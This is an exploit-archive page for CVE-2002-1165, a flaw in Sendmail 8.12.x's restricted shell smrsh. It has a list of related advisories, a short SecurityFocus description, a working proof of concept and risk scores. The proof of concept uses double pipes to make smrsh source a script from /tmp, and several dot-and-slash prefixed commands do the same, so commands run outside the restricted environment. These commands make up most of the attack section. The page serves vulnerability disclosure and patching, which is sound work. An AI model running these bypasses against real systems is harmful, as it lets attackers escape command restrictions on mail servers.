Sendmail 8.12.x - SMRSH Double Pipe Access Validation
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
 | Sendmail < 8.12.8 Header Handling Remote Overflow | 18 Aug 200400:00 | – | nessus |
| Sendmail < 8.12.8 Double Pipe smrsh Bypass Overflow | 18 Aug 200400:00 | – | nessus |
| Mandrake Linux Security Advisory : sendmail (MDKSA-2002:083) | 31 Jul 200400:00 | – | nessus |
| RHEL 2.1 : sendmail (RHSA-2002:259) | 6 Jul 200400:00 | – | nessus |
| Sendmail 8.8.8 - 8.12.7 Multiple Vulnerabilities (Bypass, OF) | 5 Mar 200300:00 | – | nessus |
 | CVE-2002-1165 | 3 Oct 200204:00 | – | cve |
 | CVE-2002-1165 | 3 Oct 200204:00 | – | cvelist |
 | CVE-2002-1165 | 3 Oct 200204:00 | – | debiancve |
 | EUVD-2002-1149 | 7 Oct 202500:30 | – | euvd |
 | CVE-2002-1165 | 11 Oct 200204:00 | – | nvd |
10
source: https://www.securityfocus.com/bid/5845/info
Sendmail is a freely available, open source mail transport agent. It is maintained and distributed by the Sendmail Consortium. Sendmail is available for the Unix and Linux operating systems.
smrsh is designed to prevent the execution of commands outside of the restricted environment. However, when commands are entered using either double pipes (||) or a mixture of dot (.) and slash (/) characters, a user may be able to bypass the checks performed by smrsh. This could lead to the execution of commands outside of the restricted environment.
$ echo "echo unauthorized execute" > /tmp/unauth
$ smrsh -c ". || . /tmp/unauth || ."
/bin/sh: /etc/smrsh/.: is a directory
unauthorized execute
OR one of the following types of commands:
smrsh -c "/ command"
smrsh -c "../ command"
smrsh -c "./ command"
smrsh -c "././ command"Data
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10 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.6
EPSS0.01099